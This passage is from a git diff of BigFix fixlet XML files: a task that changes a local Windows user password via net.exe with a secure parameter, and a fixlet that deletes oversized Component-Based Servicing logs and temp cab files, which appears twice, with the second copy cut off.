-                                                                    return false;
-                                                   }
-                                                   </script> </P></BLOCKQUOTE>
-<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
-<UL dir=ltr>
-<LI>
-<DIV>You must enter a password in order to take an action</DIV>
-<LI>
-<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
-    <Category>Accounts</Category>
-    <Source>Internal</Source>
-    <SourceID>jbt8@psu.edu</SourceID>
-    <SourceReleaseDate>2013-05-03</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 06 Dec 2013 11:16:20 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Fri, 06 Dec 2013 04:16:50 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Fri, 06 Dec 2013 04:16:50 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>user, net.exe, secure parameter, password</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink></PreLink>
-        <Link>Change</Link>
-        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
-
-waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
-
-continue if {exit code of action = 0}
-</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action6558">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/3670</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Change local user account password with verification - Windows
+  ID       : 6076
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2015-05-15T06:54:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Change local user account password with verification - Windows</Title>
+    <Description><![CDATA[<P><LABEL for=secret><STRONG><FONT size=3>About this Task</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>This task changes a specified local&nbsp;user account password using a secure parameter.</LABEL></P>
+<P><LABEL for=secret>This task is applicable on:&nbsp;Windows&nbsp;with version 9.0+ of the BESClient.</LABEL></P></BLOCKQUOTE>
+<P dir=ltr><LABEL for=secret><STRONG><FONT size=3>Action Description</FONT></STRONG></LABEL></P>
+<UL dir=ltr>
+<LI>
+<DIV style="MARGIN-RIGHT: 0px"><LABEL for=secret><STRONG>Action1: Change specified local&nbsp;user account password.</STRONG></LABEL></DIV></LI></UL>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P style="MARGIN-RIGHT: 0px"><LABEL for=secret>This action prompts for an existing&nbsp;local user account name and changes&nbsp;its password to the value specified in the "Password" field under "Customization Options".</LABEL></P></BLOCKQUOTE>
+<P style="MARGIN-RIGHT: 0px" dir=ltr><LABEL for=secret><STRONG><FONT color=#008000 size=3>Customization Options</FONT></STRONG></LABEL></P>
+<BLOCKQUOTE style="MARGIN-RIGHT: 0px" dir=ltr>
+<P><LABEL for=secret>Password:</LABEL> <INPUT id=secret type=password name=secret> <P><LABEL for=secret2>Verify password:</LABEL> <INPUT id=secret2 type=password name=secret2><script>
+                                                   document.body.ontakeaction = function() {
+                                                                    var theSecret = document.getElementById( "secret" ).value;
+                                                                    var theSecret2 = document.getElementById( "secret2" ).value;
+																	if (theSecret==null || theSecret=="" || theSecret<>theSecret2)
+																		{alert("Hey, you forgot to enter a secure parameter! Please enter one on the Description tab before taking the action.");}
+                                                                    else
+																		{TakeSecureFixletAction( Relevance('id of current fixlet'), Relevance('id of current bes site'), "Action1", {}, { secret: theSecret } );}
+                                                                    return false;
+                                                   }
+                                                   </script> </P></BLOCKQUOTE>
+<P dir=ltr><STRONG><FONT color=#ff0000 size=3>Important Notes</FONT></STRONG></P>
+<UL dir=ltr>
+<LI>
+<DIV>You must enter a password in order to take an action</DIV>
+<LI>
+<DIV>Because of the way secure parameters work, you cannot use this task in&nbsp;a baseline, target an action dynamically by property (e.g., automatic groups), use add additional actions.</DIV></LI></UL>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[version of client >= "9.0"]]></Relevance>
+    <Category>Accounts</Category>
+    <Source>Internal</Source>
+    <SourceID>jbt8@psu.edu</SourceID>
+    <SourceReleaseDate>2013-05-03</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 06 Dec 2013 11:16:20 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Fri, 06 Dec 2013 04:16:50 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Fri, 06 Dec 2013 04:16:50 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>user, net.exe, secure parameter, password</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink></PreLink>
+        <Link>Change</Link>
+        <PostLink>&amp;nbsp;specified local&amp;nbsp;user account password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;username&quot; with description &quot;Please specify the name of an existing local user account&quot;
+
+waithidden &quot;C:\Windows\System32\net.exe&quot; user {parameter &quot;username&quot; of action} {parameter &quot;secret&quot; of action}
+
+continue if {exit code of action = 0}
+</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action6558">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://bigfix.me/cdb/fixlet/3670</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space (11930).bes b/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space (11930).bes
index a70b53588..183aa0e0a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space (11930).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space (11930).bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space
-  ID       : 11930
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2016-04-08T11:38:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space</Title>
-    <Description><![CDATA[<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">We've had repeated instances where a Windows 7 x64 client runs out of hard drive space, and found that C:\Windows\TEMP is being consumed with hundreds of files with names following the pattern "cab_XXXX_X", generally 100 MB each, and these files are constantly generated until the system runs out of space. &nbsp;Upon removing the files &amp; rebooting, the files start being generated again.<BR></P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This appears to be&nbsp;caused by large Component-Based Servicing logs. &nbsp;These are stored at C:\Windows\Logs\CBS. &nbsp;The current log file is named "cbs.log". &nbsp;When "cbs.log" reaches a certain size, a cleanup process renames the log to "CbsPersist_YYYYMMDDHHMMSS.log" and then attempts to compress it into a .cab file.<BR class=k-br></P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">However, when the cbs.log reaches a size of 2 GB before that cleanup process compresses it, the file is to large to be handled by the makecab.exe utility. &nbsp;The log file is renamed to CbsPersist_date_time.log, but when the makecab process attempts to compress it the process fails (but only after consuming some 100 MB under \Windows\Temp). &nbsp;After this, the cleanup process runs repeatedly (approx every 20 minutes in my experience). &nbsp;The process fails every time, and also consumes a new ~ 100 MB in \Windows\Temp before dying. &nbsp;This is repeated until the system runs out of drive space.</P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">&nbsp;</P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This Action will remove the log files that are too large to be handled by makecab.exe.&nbsp; Any \Windows\Logs\CBS\CbsPersist_XXX.log file larger than 1,000 MB is removed, as well as any cab_ files from C:\Windows\Temp.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
-    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2015-08-26</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 27 Aug 2015 16:21:44 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to clean up CBS logs.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-action uses wow64 redirection false
-delete __appendfile
-appendfile net stop TrustedInstaller
-appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
-appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
-appendfile net start TrustedInstaller
-
-delete DeleteLog.cmd
-move __appendfile DeleteLog.cmd
-waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
-
-
-pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space
+  ID       : 11930
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2016-04-08T11:38:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space</Title>
+    <Description><![CDATA[<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">We've had repeated instances where a Windows 7 x64 client runs out of hard drive space, and found that C:\Windows\TEMP is being consumed with hundreds of files with names following the pattern "cab_XXXX_X", generally 100 MB each, and these files are constantly generated until the system runs out of space. &nbsp;Upon removing the files &amp; rebooting, the files start being generated again.<BR></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This appears to be&nbsp;caused by large Component-Based Servicing logs. &nbsp;These are stored at C:\Windows\Logs\CBS. &nbsp;The current log file is named "cbs.log". &nbsp;When "cbs.log" reaches a certain size, a cleanup process renames the log to "CbsPersist_YYYYMMDDHHMMSS.log" and then attempts to compress it into a .cab file.<BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">However, when the cbs.log reaches a size of 2 GB before that cleanup process compresses it, the file is to large to be handled by the makecab.exe utility. &nbsp;The log file is renamed to CbsPersist_date_time.log, but when the makecab process attempts to compress it the process fails (but only after consuming some 100 MB under \Windows\Temp). &nbsp;After this, the cleanup process runs repeatedly (approx every 20 minutes in my experience). &nbsp;The process fails every time, and also consumes a new ~ 100 MB in \Windows\Temp before dying. &nbsp;This is repeated until the system runs out of drive space.</P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">&nbsp;</P>
+<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This Action will remove the log files that are too large to be handled by makecab.exe.&nbsp; Any \Windows\Logs\CBS\CbsPersist_XXX.log file larger than 1,000 MB is removed, as well as any cab_ files from C:\Windows\Temp.</P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
+    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-08-26</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 27 Aug 2015 16:21:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to clean up CBS logs.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+action uses wow64 redirection false
+delete __appendfile
+appendfile net stop TrustedInstaller
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
+appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
+appendfile net start TrustedInstaller
+
+delete DeleteLog.cmd
+move __appendfile DeleteLog.cmd
+waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
+
+
+pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space.bes b/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space.bes
index a70b53588..183aa0e0a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space.bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space.bes	
@@ -1,57 +1,57 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space
-  ID       : 11930
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2016-04-08T11:38:20
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space</Title>
-    <Description><![CDATA[<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">We've had repeated instances where a Windows 7 x64 client runs out of hard drive space, and found that C:\Windows\TEMP is being consumed with hundreds of files with names following the pattern "cab_XXXX_X", generally 100 MB each, and these files are constantly generated until the system runs out of space. &nbsp;Upon removing the files &amp; rebooting, the files start being generated again.<BR></P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This appears to be&nbsp;caused by large Component-Based Servicing logs. &nbsp;These are stored at C:\Windows\Logs\CBS. &nbsp;The current log file is named "cbs.log". &nbsp;When "cbs.log" reaches a certain size, a cleanup process renames the log to "CbsPersist_YYYYMMDDHHMMSS.log" and then attempts to compress it into a .cab file.<BR class=k-br></P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px"><BR class=k-br></P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">However, when the cbs.log reaches a size of 2 GB before that cleanup process compresses it, the file is to large to be handled by the makecab.exe utility. &nbsp;The log file is renamed to CbsPersist_date_time.log, but when the makecab process attempts to compress it the process fails (but only after consuming some 100 MB under \Windows\Temp). &nbsp;After this, the cleanup process runs repeatedly (approx every 20 minutes in my experience). &nbsp;The process fails every time, and also consumes a new ~ 100 MB in \Windows\Temp before dying. &nbsp;This is repeated until the system runs out of drive space.</P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">&nbsp;</P>
-<P style="MARGIN-BOTTOM: 0px; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; COLOR: rgb(0,33,99); PADDING-BOTTOM: 0px; PADDING-TOP: 0px; FONT: 15px 'segoe ui', arial, sans-serif; PADDING-LEFT: 0px; WIDOWS: 1; LETTER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; -webkit-text-stroke-width: 0px">This Action will remove the log files that are too large to be handled by makecab.exe.&nbsp; Any \Windows\Logs\CBS\CbsPersist_XXX.log file larger than 1,000 MB is removed, as well as any cab_ files from C:\Windows\Temp.</P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[version of operating system >= version "6"]]></Relevance>
-    <Relevance><![CDATA[exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2015-08-26</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 27 Aug 2015 16:21:44 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to clean up CBS logs.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-action uses wow64 redirection false
-delete __appendfile
-appendfile net stop TrustedInstaller
-appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 1000) of folders "Logs\CBS" of windows folder}
-appendfile {concatenation "%0d%0a" of ("del /q %22" & it & "%22") of pathnames of files whose (name of it as lowercase starts with "cab_" ) of folders "TEMP" of windows folder}
-appendfile net start TrustedInstaller
-
-delete DeleteLog.cmd
-move __appendfile DeleteLog.cmd
-waithidden cmd /c DeleteLog.cmd > {pathname of windows folder}\TEMP\cbscleanup.txt 2>&1
-
-
-pause while {exists files whose (name of it as lowercase starts with "cbspersist" and name of it as lowercase ends with ".log" and size of it / 1024 / 1024 > 2100) of folders "Logs\CBS" of windows folder AND  (now - active start time of action) < (2 * minute)}
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Cleanup Component-Based Servicing (CBS) Logs - Too Large - system may run out of hard drive space
+  ID       : 11930
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2016-04-08T11:38:20
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
